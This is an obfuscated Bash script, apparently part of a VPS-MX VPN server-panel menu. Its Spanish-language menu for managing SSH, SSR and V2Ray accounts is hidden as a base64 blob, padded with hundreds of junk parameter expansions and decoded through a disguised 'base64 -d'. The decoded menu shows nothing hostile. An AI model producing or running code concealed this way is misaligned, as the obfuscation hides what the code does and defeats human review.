sbCAyPiYxCmNsZWFyCmNsZWFyCiNtc2cgLWxvbAptc2cgLWJhcjMKbXNnIC10aXQKIwptZW51X2luZm8KbXNnIC1iYXIKIyBlY2hvIC1lICJcMDMzWzE7MzFtW1wwMzNbMTszMm0gJHZlc2FvU0NUXDAzM1sxOzk3bSIKIyBtc2cgLWJhcgp0aXRsZT1gZWNobyAtZSAiXDAzM1sxOzk2bSQoY2F0ICR7U0NQZGlyfS9tZXNzYWdlLnR4dCkiYApwcmludGYgIiUqc1xuIiAkKCggKCAkKGVjaG8gLWUgIiR0aXRsZSIgfCB3YyAtYyApICsgNTUgKSAvIDIgKSkgIiR0aXRsZSIKbXNnIC1iYXIKClNTSE49IiQoZ3JlcCAtYyBob21lIC9ldGMvcGFzc3dkKSIKI1NTSDI9IiQoZWNobyAke1NTSE59fGJjKS0yIgplY2hvICIke1NTSE59InxiYyA+IC9ldGMvVlBTLU1YL2NvbnRyb2xhZG9yL1NTSDIwLmxvZwpTU0gzPSIkKGxlc3MgL2V0Yy9WUFMtTVgvY29udHJvbGFkb3IvU1NIMjAubG9nKSIKU1NIND0iJChlY2hvICRTU0gzKSIKdXNlcl9pbmZvPSQoY2QgL3Vzci9sb2NhbC9zaGFkb3dzb2Nrc3IgJj4gL2Rldi9udWxsICAmJiBweXRob24gbXVqc29uX21nci5weSAtbCApIAp1c2VyX3RvdGFsPSQoZWNobyAiJHt1c2VyX2luZm99Inx3YyAtbCkKW1sgISAtZSAvZXRjL1ZQUy1NWC9SZWdWMnJheSBdXSAmJiB0b3VjaCAvZXRjL1ZQUy1NWC9SZWdWMnJheQp2cmF5PSQoY2F0IC9ldGMvVlBTLU1YL1JlZ1YycmF5IHwgd2MgLWwpCm9uPSJcMDMzWzE7OTJtW09OXSIgJiYgb2ZmPSJcMDMzWzE7MzFtW09GRl0iCiNbWyAkKHBzIHggfCBncmVwIGJhZHZwbiB8IGdyZXAgLXYgZ3JlcCB8IGF3ayAne3ByaW50ICQxfScpIF1dICYmIGJhZHZwbj0kb24gfHwgYmFkdnBuPSRvZmYKZWNobyAtZSAiXDAzM1sxOzk3bSAgIFNTSCBSRUc6XDAzM1sxOzkybSAkU1NINCBcMDMzWzE7OTdtICAgU1MtU1NSUiBSRUc6XDAzM1sxOzkybSAkdXNlcl90b3RhbCBcMDMzWzE7OTdtICAgVjJSQVkgUkVHOlxlWzMybSAkdnJheSIKbGltc2VnPSIkKGxlc3MgL2V0Yy9WUFMtTVgvY29udHJvbGFkb3IvdGllbWxpbS5sb2cpIiAKdmVyaT0kKHBzIHh8Z3JlcCAtdiBncmVwIHxncmVwICJ2ZXJpZiIpCltbICEgJHZlcmkgXV0gJiYgdmVyaWZpY2FyPSJcMDMzWzE7MzFtW09GRl0iIHx8IHZlcmlmaWNhcj0iXDAzM1sxOzMybVtPTl0gIgpkZXM9JChwcyB4fGdyZXAgLXYgZ3JlcCB8Z3JlcCAiYXV0b2RlIikKW1sgISAkZGVzIF1dICYmIGRlc2Jsb3F1ZW89IlwwMzNbMTszMW1bT0ZGXSIgfHwgZGVzYmxvcXVlbz0iXDAzM1sxOzMybVtPTl0gIgptb249JChwcyB4fGdyZXAgLXYgZ3JlcCB8Z3JlcCAibW9uaXRvciIpCltbICEgJG1vbiBdXSAmJiBtb25pdG9yc2Vydj0iXDAzM1sxOzMxbVtPRkZdIiB8fCBtb25pdG9yc2Vydj0iXDAzM1sxOzMybVtPTl0gIgoKaWYgW1sgISAtZSAke1NDUGRpcn0vVVNSb25saW5lcyBdXTsgdGhlbgppZiBbWyAkKGNhdCAke1NDUGRpcn0vdG1wL3N0eWxlfGdyZXAgLXcgIm1vbml0b3ItdXNlciJ8YXdrICd7cHJpbnQgJDJ9JykgPSAiMSIgXV0gOyB0aGVuCiAgbW9uaXRvci11c2VyCiMgIG1zZyAtYmFyCmZpCgplbHNlCltbIC1lICR7U0NQZGlyfS9VU1JvbmxpbmVzIF1dICYmIG1zZyAtYmFyICYmIG1zZyAtbmUgIlwwMzNbMTs5N20gTElNSVRBRE9SOlwwMzNbMTs5Mm0kdmVyaWZpY2FyIFwwMzNbMTs5N20gQVVUTy1ERVNCTE9RVUVPOlwwMzNbMTs5Mm0kZGVzYmxvcXVlbyBcZVsxOzk3bU1PTklUT1I6XGVbMzRtJHtsaW1zZWd9c1xuIFwwMzNbMTszMm1DT05FQ1RBRE9TOiAiICYmIGVjaG8gLW5lICJcMDMzWzE7OTdtJChjYXQgJHtTQ1BkaXJ9L1VTUm9ubGluZXMpICIKW1sgLWUgJHtTQ1BkaXJ9L1VTUmV4cGlyZWQgXV0gJiYgbXNnIC1uZSAiICAgRVhQSVJBRE9TOiAiICYmIGVjaG8gLW5lICJcMDMzWzE7OTdtJChjYXQgJHtTQ1BkaXJ9L1VTUmV4cGlyZWQpICIgICYmIG1zZyAtbmUgIiBcMDMzWzE7OTVtIEJMT1FVRUFET1M6ICIgJiYgZWNobyAtZSAiXDAzM1sxOzk3bSQoY2F0ICR7U0NQZGlyfS9VU1JibG9xdWVhZG9zKSIgI1xuXDAzM1sxOzk3bSAgICAgICAgQUNUVUxJWkFDSU9OIERFIE1PTklUT1IgQ0FEQTogXDAzM1sxOzM0bSAkbGltc2VnIHMiIApmaQptb25odG9wICgpIHsKY2xlYXIgCgojbXNnIC1iYXIKbXNnIC10aXQKZWNobyAtbmUgIiBcMDMzWzE7OTNtICAgICAgICAgICAgIE1PTklUT1IgREUgUFJPQ0VTT1MgSFRPUFxuIgptc2cgLWJhcgptc2cgLWJyYSAiICAgIFJFQ1VFUkRBIFNBTElSIENPTiA6IFwwMzNbMTs5Nm0gQ1RSTCArIEMgbyBGSU4gKyBGMTAgIgpbWyAkKGRwa2cgLS1nZXQtc2VsZWN0aW9uc3xncmVwIC13ICJodG9wInxoZWFkIC0xKSBdXSB8fCBhcHQtZ2V0IGluc3RhbGwgaHRvcCAteSAmPi9kZXYvbnVsbAptc2cgLWJhcgpyZWFkIC10IDEwIC1uIDEgLXJzcCAkJ1wwMzNbMTszOW0gUHJlY2lvbmEgRW50ZXIgUGFyYSBjb250aW51YXJcbicKY2xlYXIKc3VkbyBodG9wCm1zZyAtYmFyCmVjaG8gLWUgIlxlWzk3bSBcMDMzWzE7NDFtfCAjLSMt4pa6ICBTQ1JJUFQgVlBT4oCiTVgg4peELSMtIyB8IFwwMzNbMTs0OW1cMDMzWzE7NDltIFwwMzNbMTszMW1bIFwwMzNbMTszMm0gJHZlc2FvU0NUICAgICAgIgplY2hvIC1uZSAiIFwwMzNbMTs5M20gICAgICAgICAgICAgTU9OSVRPUiBERSBQUk9DRVNPUyBIVE9QXG4iCm1zZyAtYmFyCmVjaG8gLWUgIlxlWzk3bSAgICAgICAgICAgICAgICAgIEZJTiBERUwgTU9OSVRPUiIKbXNnIC1iYXIKfQoKW1sgJChwcyB4IHwgZ3JlcCB2MnJheSB8IGdyZXAgLXYgZ3JlcCB8IGF3ayAne3ByaW50ICQxfScpIF1dICYmIHZyYT0kb24gfHwgdnJhPSRvZmYKbXNnIC1iYXIKbXNnIC1iYXIzCm9uPSJcZVsxOzMybVtPTl0iICYmIG9mZj0iXGVbMTszMW1bT0ZGXSIKZWNobyAtZSAiIFxlWzE7OTNtW1xlWzkybTFcZVs5M21dICQobXNnIC12ZXJtMiAi4p6bICIpICQobXNnIC1henUgIkFETUlOSVNUUkFSIENVRU5UQVMgfCBTU0gvU1NML0RST1BCRUFSIikiIAplY2hvIC1lICIgXGVbMTs5M21bXGVbOTJtMlxlWzkzbV0gJChtc2cgLXZlcm0yICLinpsgIikgJChtc2cgLWF6dSAiQURNSU5JU1RSQVIgQ1VFTlRBUyB8IFNTL1NTUlIiKSIgCmVjaG8gLWUgIiBcZVsxOzkzbVtcZVs5Mm0zXGVbOTNtXSAkKG1zZyAtdmVybTIgIuKemyAiKSAkKG1zZyAtYXp1ICJBRE1JTklTVFJBUiBDVUVOVEFTIHwgVjJSQVkgLS0+ICR2cmEiKSIKZWNobyAtZSAiIFxlWzE7OTNtW1xlWzkybTRcZVs5M21dICQobXNnIC12ZXJtMiAi4p6bICIpIFxlWzE7MzFtXDAzM1s0N21QUk9UT0NPTE9TXGVbMG0gIFxlWzkzbXx8ICBcZVsxOzM3bVxlWzQxbUhFUlJBTUlFTlRBU1xlWzBtIgplY2hvIC1lICIgXGVbMTs5M21bXGVbOTJtNVxlWzkzbV0gJChtc2cgLXZlcm0yICLinpsgIikgJChtc2cgLWF6dSAiTU9OSVRPUiBERSBQUk9UT0NPTE9TIC0tLS0tLS0tPiAke21vbml0b3JzZXJ2fSIpIgplY2hvIC1lICIgXGVbMTs5M21bXGVbOTJtNlxlWzkzbV0gJChtc2cgLXZlcm0yICLinpsgIikgJChtc2cgLWF6dSAiQVVUTyBJTklDSUFSIFNDUklQVCAtLS0tLS0tLS0tPiAkQXV0b1J1biAiKSIKbXNnIC1iYXIKZWNobyAtZSAiIFxlWzE7OTNtW1xlWzkybTdcZVs5M21dIFxlWzk3bSQobXNnIC12ZXJtMiAi4p6bICIpICQobXNnIC12ZXJkICJBQ1RVQUxJWkFSIikgXGVbMTs5M20gW1xlWzkybThcZVs5M21dXGVbOTdtJChtc2cgLXZlcm0yICLinpsgIilcMDMzWzE7MzFtREVTSU5TVEFMQVIgIFxlWzE7OTNtW1xlWzkybTBcZVs5M21dJChtc2cgLXZlcm0yICLinpsgIikgJChtc2cgLWJyYSAiXGVbOTdtXDAzM1sxOzQxbVNBTElSIikiCm1zZyAtYmFyCgpzZWxlY3Rpb249JChzZWxlY3Rpb25fZnVuIDEzKQpjYXNlICR7c2VsZWN0aW9ufSBpbgoxKSR7U0NQdXNyfS91c2VyY29kZXMgOzsKMikke1NDUGluc3R9L0MtU1NSLnNoIDs7CjMpJHtTQ1BpbnN0fS92MnJheS5zaCA7Owo0KW1lbnUzOzsKNSkgbW9uc2VydmlfZnVuIDs7ICMvZXRjL1ZQUy1NWC90bXAvbW9uaXRvcjs7CjYpZnVuX2F1dG9ydW47Owo3KWF0dWFsaXphX2Z1bjs7CjgpcmVtb3ZlX3NjcmlwdDs7CjApY2QgJEhPTUUgJiYgZXhpdCAwOzsKZXNhYwptc2cgLW5lICJFbnRlciBQYXJhIENvbnRpbnVhciIgJiYgcmVhZCBlbnRlcgoke1NDUGRpcn0vbWVudQ==" ${@^^} "${@%|tbX,rw}" ${*/Mx_\(Chah} ${*,,} ${@##_k\<qcQ} ${@##Pl-gT3jj} "${@//\]MZVCt}" ${*//BIzhBCl6/~cP~4\]y#} "${@^}" "${@%%6?\!yY}" ${*//r9AVN?\\} ${@/??H5} ${*~} ${!@} ${@//Go\!i} ${@%_Tlde3f9} ${*//zwaw5W} ${*##P*<9} ${*#x*sx8v} "${@##PS&Cm\^}" ${*/E2#5vY} ${*##w^@:8~3} ${*##y\]kJv0q} ${@,} ${*^} ${!@} ${@~~} ${*} ${!@} ${*/achBO} ${@//|w\"L/9TXthB} ${@^^} ${*,} ${@^^} "${@%;MxpD64}" "$@" ${*,} "${@,,}" ${*~~} ${*~~} "$@" ${*##4QxLk9} ${@%%YHlG\!q} "${@,}" ${*} ${@##@LA=} ${@,} "${@~~}" ${*~} ${*##lM2qqr\z} ${*~} "${@#JB:b}" ${*//<m:=tF|} "${@^^}" "${@/4=gC}" ${@} ${*/&_>7|=f/\)S~2L\!P} ${*^} ${*#v.y\)4i} "${@,,}" $* ${*%z,?V} ${@/euH-/b\)v;V@} ${@//qP>o/;h\}p} ${@,} ${*%\)mrf_} ${@,} ${@//J>\i~p6\]} "${@}" ${@//vp$9/u\`:\`W=} ${*/RLz\"+u\[e} "${@/b-H@Em}" ${*/vLh\)U} ${*##YCel.V9} "${@//uT,T}" ${*//5*qN} ${@//h\]3B7} ${*,,} ${@~~} ${*/dbl>6C-M} ${*//HyW\!$#} ${*#&T3?} ${@/|fhFl/0HP\(-<y} ${!@} "${@/Xn\!X\`\)wx}" ${*//I#J\"/t85TMP} ${*//\]+6sV/VEpCf^\}\]} "${@^}" "${@#d\`T$8}" "${@#-nME}" ${*,} "$@" ${@//yX+\<v9} ${*^} "${@~}" ${*/\"=9-/;pv\)0#} "${@##0v^&|ZB}" "${@/P\{_3@/b\}Ld9Ews}" ${*//\(dyv\!Y\{/LK\`$} ${*^} ${*%q,L\!\{H} "${@^}" ${*#uaY:vA} $* ${@~~} "${@/8mStud</5ps3}" "${@/|y\!F>S}" ${*~} ${@#\!^mC} ${*/KR_uO6U&} ${*##pCvk29.} "${@//ICKH/^sbgjb}" ${@,} ${*^} ${*} ${*%%-+Q%$36} ${*/1Ziz/boX1_:\!>} ${*%M,qkiq8X} ${@%Eg2_} ${*#$~-\!5} ${*^^} "${@/_:<#/\]qjvn4,}" ${@^} ${@^^} ${@/.\]\`qS3} ${*,,} "${@/UxxH+/PpD5}" ${@#,d\{E\]} ${!*} ${@/-@X?} ${*} "${@##6czv@<\`}" ${*,,} ${@^} ${!@} "${@/oQDi:V\[}" ${@%MgFtq3H\{} ${*/0H+ag/K,mVm} ${*~~} ${*~~} ${@##4D\};ZJ} ${*%%V9\!,n} ${*%7\"X,1q\[} "${@~}" ${*//x|o|9} ${*~} ${*~} "${@##k#aZV}" ${*^} ${*,,} ${*%,?_0} ${*,} ${*^} ${*^} "${@~}" ${*~} ${!@} ${*%%?>7t-LJc} "${@~}" "${@/f+zw/\!fL41:Y\}}" $* "${@^^}" "${@~~}" ${@#o\)@pK<} ${*/,2~R} ${*~} ${@%:;mYF} ${@/50LdeB} ${@/nw=:~D} "${@%%2U_\{}" ${@,} ${@~~} ${*%V-ndUVb} "${@/RbG|l?;</z@A\[\[R}" ${*#W#\!g} ${*%%*RRn} ${*~} "$@" "$@" ${*##\a5\(BU} ${*^} ${*//\(53Z/D~gv|ZP} ${@#d^b4b} "${@~~}" ${*,} ${@^} ${*#9\}@rx&,} $* "${@~}" ${@%%N\)2fV65s} ${*/YXlCm=} ${@} "${@%rJ^\]e=}" ${@^^} "${@/&iST~d/^W&t}" ${@^^} ${*~~} ${@~} ${*^} ${*^^} ${*/y%\]$N/sEk\qy} $@ ${*,,} "${@%%8cq-QC&&}" "${@}" ${*%1+kbT} "${@//$8\`\}*/hg\[<-S}" ${@} ${@,} "${@,,}" ${*,,} ${@%3x>Dp\{D} "${@^^}" ${*^^} "${@%%S2;Q%anG}" ${@/Rs\[w8p\]_/PowBiTa} ${@^} ${*/#JzCPS?} ${@#VV\`2EMQ} "${@,,}" ${*%9O-\{Wc} ${*,} ${*~~} ${@} "${@#1A@\}pC}" ${@%\!*\`\!*$sb} ${*,,} ${@##yHAwFV} $@ ${@##5#\(\C3^} ${*//%\(<9YU/\)bFo6uz~} ${*,,} "$@" "${@%%aVnP}" ${*//m3+z$O;\]/Wx\}7y} ${*~~} "${@#\"2~S}" ${*//coP\)2/8bWm} ${*//I\!piXl\`} ${@~} ${*##^mC0y} ${*/T4+\"/$Oi:\"05} ${@^^} ${*^} "${@~}" ${*~} "${@,,}" ${*^^} ${*%%4\!z#+0} "${@^}" "${@/?m@g~E/Cd\[bh@P:}" ${@^^} ${*%k=_A;s} ${*/0ncvq-&F/lVs\ihG} ${*/g\!ep\]\`/+?ItxA@O} ${@~} "${@#yLA\}w5ll}" ${*%\}DGyq} ${*,,} ${@~~} ${*~~} ${@%u1#Icia} ${@%*j\)6kPR$} ${@} "${@~~}" ${*~} "${@~}" ${@//\`\"4K./9?Hs3} $* ${!@} ${!@} ${*#\{O\`w\"} ${@,,} "${@%|;Lo1}" ${*,,} ${*^} ${*#lsqoT\{R} "${@}" ${@^^} ${*/\"%$og8/E~F\[uH} "${@}" ${*~} ${*~~} ${@/r?4PO/9\!|>=0Q\}} ${*%S\)\`_N} "$@" ${*/AX@~#/U?\a\[R&} ${*^} ${*//kPl;dvb} "${@//4Y0iR4XS/7_\)kw}" ${*//B&UP/eD+\]0,} ${*%%\"\(n_+4SJ} ${*//.XwGd} ${*/J<dgd} ${*/\}Vl|\]} ${*##7d#0CeuJ} ${*#zj3+$} ${*~} ${*~~} ${@%M:\{Y} ${*%%8_2\)} ${*#Fz~xKuO?} ${@~~} ${*%%H1X|} "$@" ${*} "${@//ZR=b}" ${*} "${@//6Kq1YLM}" ${*%%c?Hdpg} "${@~~}" ${*/RzUxb0|/b:neOg\\} $* ${*^^} ${*%\)5Vd} ${*%\)L7\]} ${*^} ${*~} "${@//8Fq@p}" "${@/6NZ0/Ul_ViK\`L}" "${@~~}" ${@^} "$@" ${*//AoXFm\[kN/<FziH7} ${@##%=m\[6_} ${*%%F#^Jd85O} ${*/~1Wg} "${@,,}" ${*%\}\)%9BR\[} ${*/m&?ch\[} ${@} ${*/-hM,yulS/>^#cX4} ${*,} "${@//b2D9Vg\]+}" ${*%%BXhCpQ~A} ${@~} "${@//ZNsg~R&/\]RfQjr}" "${@,}" ${*^} ${@%%7Tw\N\)} "${@/Eh|P/o|UJGOZ}" ${*/|a\]x/M|Y\`3} ${*/-\"m<d} ${!*} ${*~} ${*^} "${@##6P%x\}}" ${*##UP0*Vx\(R} $* ${*~~} ${*/:GHW6} ${@%8&\`K\]q#\[} ${!@} $* "$@" ${@##Wl*0U>~} "${@##hZE,l1X}" "${@^}" "${@#;=Z5\!}" ${*//s_\]hJ/&I_ku\(m9} ${@#9\[#\!6} ${!@} "${@#SP\}yTP<}" ${@^^} ${!*} ${*//1j8z/~qOzJ} ${*^} ${@//#?9Z} ${*/p,_6~UQ2/E,F40\]} ${@//\[cW} "${@~}" ${*,,} ${*##\]brxE#%} ${*%%EmFf7M|d} ${@^} ${*#9Es<G} ${*/#T.^>/?zdiHL} ${@~~} ${@%%F>sqyCc} ${*~} ${!*} "${@//PIa\!=cH\}/$m?|US}" ${*,,} ${*,} ${@,} ${*~~} "${@%_*Ph}" ${*%%F\`HJ} ${@#d4<q} "${@}" ${*} ${*/>k=:+} ${*#i>\)4oZ} "${@//n6%iPI*\]}" "${@%W\"@\Y}" ${@#i=1C-\[$z} ${*,,} ${!*} "${@^}" ${*~} ${*%\]Vm\(eb%} ${*%%^\!Ghv\)w} ${*~} ${@^^} ${*^^} ${@//A\!fy\},sB/\]1h<RB>} ${@~~} ${!*} ${*%%E+Mx2} ${@/<\!ux} "$@" $* ${*/ZF-ZN/\[^efm.\}} ${*~} ${@%%5-y\(aI+|} "${@^^}" "${@~}" ${@^^} ${!*} ${!*} ${*/7W\)hl/\]zbGTB} ${@~~} ${*//E\]T_@1#/,Sph} ${*/81=\)/hT*\\} ${*~} "${@,}" $@ ${@} ${@%%QG2Skh} ${*//?\`uRSCkj} ${*} ${*/l*4Y5Z1/j*i\}} "${@#\[e%,~|KW}" ${*,,} ${@#.\(Jq\`\)du} ${@%%,\!B\]Ft@} ${*,,} ${@^^} ${@,,} ${*} ${@//1,\"T/w\O_} ${*/0\{N*/ljsC=ztc} $* "$@" ${*/b3,+Sk/i6\(ax} ${*%5,vJs} ${*^^} ${@,,} ${*//\`j?I~4\]} ${*^^} ${*/kFk+7hN4/vNwn|} ${@^^} "$@" "${@%%t\`xu}" ${*#V?J?a=|X} ${@//\{99G:;l} ${*/3\!Dl</O0$H} ${*//?~RL/^U\`f&B} ${@//@I<\[~<8\\} "${@^}" ${*^} "${@##1\]A-C_}" ${*,} ${@//R\`&0YKQ/T4DLP#} ${*^} "${@,}" ${*/o_>O=x/_ho.08} ${*//\]g40%?B@} ${*//\}eNVO\[} ${*##gK0BN1} ${*,,} ${*,,} "${@~}" ${*,,} ${*~} "$@" ${@//\)J\]Y8} "$@" ${*/\)$gl^Z?} ${@%%q9<cR<H} ${@^} ${@,,} ${*,,} ${@~} ${*~} ${*//ch\)&c} ${@/W<SY,M\!} "${@}" "${@,,}" ${*,} ${*/O\dE} ${@~~} ${@##%\"XzssTn} ${*~~} ${*~} ${@~} "${@##\!jG2\"ep|}" ${*,} "${@,,}" ${*##q\[~@Hk=} ${*#\)rn9GV} ${@//MGS#*/L-S\}k} "${@//W\[y\`amE}" ${*^} ${*~~} "${@}" "${@~}" ${*#P52$} ${*//ILt>+} ${*%35e&,\"\]} "${@,}" ${@##\{$n#s} ${*/\"+VNhQ|/K=l$$@j6} ${@^} ${*} "${@^^}" "${@%v&j?K}" "${@}" ${*/M,<7Dh} ${@^} "${@%%iW~i}" ${@//7a\(Qbq/8F\!h\)} ${*~~} ${*%%^>\"?=81} ${*//J2Z=o/*\!PG} $* ${@/Rk<L>#09} "${@,,}" ${*~~} ${*/U2Mp/jPXh?DH} ${*//9%IUm} ${@//FgFH;h8\}/jTfr} "${@,}" ${*%%gMb>} ${@} "${@##>1Dm+3,n}" ${*~} ${*~} ${*##~1%p} ${@~} ${*/TGye/Q1BFBH} ${@^^} ${*} ${*/Uf:IJJ} ${*^} ${*%%daPhQU} ${@,} ${@^} "${@%%N9N#\)\)}" ${*//n~PF/\{$\},@o\`} "${@//R.\{2\[l/-pZ0p9w}" ${*/96haGfK} ${*/W&O.6Ld/052.} "${@^^}" "${@//K\!ZtrHT}" ${*,,} ${@//l;6t8=A/X_#k>\)w$} ${*,,} ${*##j,Wxa} ${*/B:^DBGz\{/=idp\"d<7} ${@,} "${@%m;%Z}" ${@~~} ${*//Vz?8/Sf=E\!} "${@//\"*\{#a-X=/\}\`VJ0Ep}" ${*%Y\}Xm\]_k} ${@#0M_J\!b1} "${@~~}" ${*/?\)$aFi4=/\[Y\}c4;} ${*/9>YhuFi/3a9\]} ${*,} ${@#\[*R<J163} ${*%%SC2p:B} ${*,,} "${@^^}" ${*//,awGIH\]\(} ${*^^} ${*//%\{SHx/~@=Z} "${@~~}" ${*^} "${@^^}" ${@^^} ${@%o@#\)\(uN} ${*,,} "${@//&?Kb*B5/|>=z9}" ${*//8Y45a?/1xec+t} ${@~} "${@/|20Spt}" ${*^} "${@^}" "${@/\}d*\(Ft}" ${*^} ${*#cKsb>b} ${*#n=S;} "$@" ${*//0=\`4>x@} ${*%\`YHb.W} "${@##W:nk07C}" ${*##Z.RwEF} ${*%%,rhu%\}gL} ${*~} ${@#e=lI} "${@~~}" ${*} ${*/T\!Slo;?/^K\!\!} ${@~} ${*%X8M~P} ${@~~} ${*#wJN_A\{} ${@,,} "${@^^}" ${*,,} "${@#av8Op}" "${@,,}" ${@%i>GY} ${*//hTy5j5O/UDsDku$1} $@ "${@^}" ${*/Rm4+} ${*^^} ${@~~} ${*^} ${*%jentR\"T,} "$@" $@ ${*/jVvY} $* ${*,,} ${*%+stapI} ${*} ${@##9#aFaF:} ${@,} ${*%-L?\"h0} ${*^^} ${*~~} ${*,,} ${*/z\{~>nIY/u.J4yA} "${@,,}" "$@" ${*~} ${*//B@Ho\}8/\}mE_Dhm\\} ${*##nPAEhH;} ${*,} "${@}" ${@} ${!@} ${!*} ${@^^} "${@~~}" ${*%%BZ~iR-*} ${*^^} ${@/\4L%Qo/\`eF$;} ${*/d\";1S_/nWY.=PV} "${@^^}" ${*/SE\}g/*CG_Fym} ${*} ${*^} ${@##o,#e} ${*~~} ${@~} ${*%N#\`#zNS} "${@%Ii$CXEA}" ${@,,} ${@//?URU/#\[1xt} ${*~} ${@//Bi4jN} "${@%gXu\"cn@\`}" ${*^} "${@%%8?>:G}" ${*^^} ${@,} ${*%*O7wxD8} ${*~~} ${*^^} "${@//2G\g\[2i/\x\`GS0t6}" ${*} ${@,,} ${*##a\]N&k} "${@//ER|:>}" ${*//jTl~Q/x\w&ou} ${*~} ${@^^} "${@/P2b\(IL/<Zyr}" "${@,,}" ${@//\`L\"m} ${!@} ${*#,J9*J} ${*^^} ${!*} "${@,,}" ${*/\}c2LW+} ${*//x&A&&/u\"\{\]} $* ${!@} ${*%G+8ZYj__} "${@/\OPBbM*/8J2\]CEb\\}" ${*~~} ${*##k\]PFym} ${@//B$.9E} ${*,,} ${*~} ${*//54<-$\{AN/F6RR-w} | ${*~} ${*//Dta_y/kRyx0c} ${*//d-cvBB/-vFf7b} ${*~} ${*%EG2\]F} ${*} "${@^^}" "${@,}" ${*^^} ${*##kV,P.E} ${!*} ${!@} ${@%0OJt,~} ${*%h=U<ob\[} "${@##b\]uFZ}" ${*~} ${*##36M.\`} ${*~~} ${!*} ${*~} ${@} ${*~~} ${@~} "${@//\]_Q\!\[.b}" ${*##-Q1\(6} ${*~} ${*%%OiCf} ${!*} ${*//\)\Vxa~&/G%5\!} "${@/as^|}" ${*^} ${!*} ${*%B9VkF} ${*,,} ${*} ${@%%h1sE\[L:1} ${@,,} "${@//NL;?2}" "${@//eTFGFU-X/cVfHS5ZT}" ${*~~} ${@^^} ${@/\[d_^} ${*/\`EQ\(hys%/WsGB~1g} ${!*} "${@#RqkNdsml}" ${*/n3rtW7} "${@/\!y#Ab/wF\!6Oy\[H}" ${@%rlC50-?H} ${*,} ${*##o\Nc} ${*/jM$|s\[5} ${*^} ${*%%iMN$m} "${@//;M0\(kB$p}" ${@~~} ${*//w\[Zj>RK} ${*} ${*~~} $@ ${*,} "${@/80KS}" ${*~} "${@%%\`9mzx}" ${*//@3XcC\"4?/\!f\[\{} "${@#<gwHkxr2}" ${@/wA&s\(} ${*#&=Q9&P} ${*%%g>?o\]} ${@//$z95/\[y&Hl} "${@/W\[#AXt/jnJotv}" ${*%\"qF\`} ${*/88=\)nSQ/KL>$QZH} ${*%%q\[5?j>} ${@#S-xw1} ${*~~} ${*/%U@\{/1\)@|66} ${*^^} ${*~~} "${@//2ES\]t/D-T3}" $* ${*/sog$b^R;/Zn-tQ1} ${@##ST&_;} ${*,,} ${*} "${@%%\!,K\(.Z}" ${@//c@5Z6} "${@##lxfJRp&O}" ${*##+nI~8k} ${*~} "${@~~}" ${*~~} "${@^}" ${@^} ${@##0zStWe} ${*^} ${*,,} ${@%%yAqOM;} ${@} "${@^}" "${@//lCGJS=i/lgyWHC}" ${*^^} ${*%%%<Er.@} ${*^^} "${@%%#ZJtlG}" ${@} ${@} ${*^^} ${*##fql\{\"U} "${@^^}" "${@/\"\]BVvA}" ${*%%H<\}cL;W} "${@~}" ${*^} ${!*} ${*//V?28VFV/\}*J\(+-} ${@##uLe\(p9} ${*#AabA} ${*^^} ${@%%7:4A2L} ${*%%JNz2b} ${@%%;0^H_} ${*//.WL\]5\}>/IY9\!\{N} ${*/Ss+V7n=\)} ${*//553.*8T/>8VL} ${*/e1pUX} "${@,,}" ${*#A\):R} ${@,,} "${@^^}" ${@##w\[+3} ${@/:AU-/wccz} ${*} ${*%F\(~S9N>8} "${@^}" ${*^} ${*,} "${@//yIWc~}" "${@^^}" ${*/L\[\(W|&} "${@//J:Q$#\"D}" "${@^}" "${@~}" ${*} ${@~~} ${*,} ${@} ${@/wUfz/\!FPNR} ${*} "${@^}" ${*##7m\[P} ${!*} ${!@} "${@%%FJ8xu}" ${*/:5i0|:} "${@//J<s+/\{gaQ\)M*2}" ${*,} $@ "${@~~}" ${*/V,|eZm} ${*~} ${*%%fHggY8SO} ${@} "${@//O,aO}" ${*~~} "${@~}" ${*} "${@##\]=\`.t:l}" ${*##*\}>\!0sn#} ${@,} ${*,,} ${@~~} "${@/opBc}" ${*%~8$VJ:n} ${*~~} ${*/~,IP\)} ${*/Y^?8/RiHgwY} ${*^} ${*,,} "${@/=ur\[/^9co<P}" "${@}" "${@}" $* ${*^^} ${*//i?hYZb/d0-yk} "${@//q\sM/%-:+}" "${@//3V%6*jkC/y+g3U}" "${@##%\QOC}" $* ${!*} ${@,,} "${@##0luZB?w\\}" "${@%\]DzK}" "${@##s0iB\9E}" ${*,} ${*#v7N|G4V} ${*/gqM,/J\]=^\!c} ${*//62Pt} "${@//rZ*OhSPW/|pPr}" "${@#\Ku\"}" ${*//<%?b9a} ${@^^} ${*#<\"7S\M\{} "${@,}" ${*##qd*.<} ${*//M8dobDQf} ${*#t\(?#&k} ${*} ${*,} ${*/llz.KWc8} "${@#Uy1u5?jm}" ${@##+_l&AO,\{} $* ${@/hG_PD?/2<KNyum} ${!@} $* ${@} ${*//%yV~7/1F\!O@\\} ${*%%I@V\)\(:} ${*##=#IX} ${@^} ${*^^} ${*%%*U*V,J} ${@%%*VE\!\)*} ${*%S@\"u~} ${@,} ${*//qFN.aSQ/w0XYk2w\[} ${*~} ${*~} ${*//0wH#|FW} "${@^^}" ${*/~*|89} ${!@} "${@//K,\":\`ksP}" ${*,} ${*/jL0ON|k} ${!@} ${!*} "${@~~}" ${*~~} ${*^^} "${@~~}" "${@,}" "${@%\]7\vBb}" ${*%\]T&<j} ${@,} ${*/IE8l} ${*,,} ${*^} "${@,}" ${@/b%W7/<o#_F} ${*~} ${*^} ${@%%Ux9\[u2} ${*^} ${*/HY-D:VX@/%H?1} ${*^^} "${@~}" ${*/D5LX\(1/e9:\\} ${*%%o~,H#} ${*#E3H,0\\} ${*%\[XPR} ${*#CF,dI\-} ${@/P+iFl} ${*~~} ${*//3:oH4/T8d,r4g} ${*} ${*%%l,Utuc} "${@^^}" ${*/Up#\`+Y/gi\(G\o<} "${@^^}" ${*%%E@.F} ${*} ${*} ${*/\N,NgO} "${@//UQ%\"E_}" ${*##k54H6L} ${*~} "b"''\as'''e'""\6\4 -d ${*%%|Xyc.z} ${@^} ${*~} "${@//y:,9x|/k2h\)q,bG}" ${*,,} "${@^}" "${@^^}" ${*##I%:\!P>u>} ${@/+VK\]\"vG/3:D2;O5} ${@##?GL8} ${*,,} ${@##xcTN,hu} ${*~~} "${@/\{\)KVO8}" ${@,,} ${@//+dEGVZ#w} ${@##\!\[eR<7J3} ${@//O\)E;G\}3\(/#:2wE+} ${@%*un1} ${@^^} ${*^} ${*~~} ${@//hNKppXOa/r<JQL} "${@%%v=\"&+G=}" ${@%8nG8\)QS} ${@//eCF7Cc} ${*,,} ${@} ${*,,} $@ ${@^^} ${*/tGCbV7y/BV\{a2} 